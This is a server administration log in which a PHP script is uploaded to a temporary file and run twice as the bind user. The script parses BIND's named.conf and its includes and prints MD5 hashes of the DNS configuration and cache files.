MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 14c1edeb05e4031ffc2f3b7e0fb4d902
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 13:06:19: Establishing a connection
2026-02-09 13:06:19: 

PUT: /tmp/pkp836508

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 13:06:19: 

runuser -l bind -s /bin/bash -c '/tmp/pkp836508; rm /tmp/pkp836508'

2026-02-09 13:06:19: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 14c1edeb05e4031ffc2f3b7e0fb4d902
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 13:07:46: Establishing a connection
2026-02-09 13:07:46: 

PUT: /tmp/pkp697462

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 13:07:46: 

runuser -l bind -s /bin/bash -c '/tmp/pkp697462; rm /tmp/pkp697462'

2026-02-09 13:07:46: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
